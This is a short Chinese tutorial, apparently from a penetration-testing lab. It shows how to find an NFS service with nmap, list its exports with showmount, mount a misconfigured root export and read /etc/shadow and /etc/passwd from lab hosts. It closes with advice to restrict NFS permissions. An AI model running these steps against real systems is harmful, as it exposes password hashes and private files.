nfs介绍
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透过TCP/IP通道透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。
它和smb效果类似,但是它的协议是不同的,我们可以通过nmap探测目标IP地址,查看是否开启了NFS服务,nfs一般是2049端口
nmap 192.168.1.105
nmap -p 2049 -sV 192.168.1.105
探测它的具体信息,运行TCP端口,nfs服务,以及版本
我们已经知道目标开启了NFS,这个时候,我们就要开始利用nfs进行文件读取
探测目标nfs
nmap --script=nfs-* IP
//星号加载所有有关于nfs探测的脚本,来探测对应目标的IP地址
我们返回过程中,通知是通过rpcbind 111端口,来进行返回,nfs-showmount显示可以通过命令的逃出,以及它的权限,它目录下的内容,nfs-statfs显示它的大小、使用率
nmap --script=nfs-* 192.168.42.137
探测nfs是否可以导出
除了可以使用nmap判断nfs是否可以导出,我们还可以使用showmount命令确定“/”共享(文件系统的根)是否可以导出到本地。可能需要安装nfs-common包才能使用"showmount"命令
apt-get install nfs-common
//安装nfs-common包
showmount -e IP
/*表示根目录下的内容,都可以导出
查看导出内容
mkdir nfs_root
//确定要导出新建的内容
mount -t nfs IP地址:/ ~/nfs_root -o nolock
//-o nolock不加任何处理,直接输出
cat ~/nfs_root/etc/shadow
mkdir nfs_root
cd nfs_root/
mount -t nfs 192.168.42.137:/ ~/nfs_root -o nolock
cat ~/nfs-root/etc/shadow
cat ~/nfs-root/etc/passwd
我们成功的利用了nfs配置,导出了对应的信息,进行本地读取,由此,我们发现nfs配置不当,会导致很大的隐患,因为它可以读取,我们公用系统的所有内容,我们要对nfs进行严格的限制,使得,我们不能够读取任意文件,只能读取固定的分享的文件,一定要做好权限控制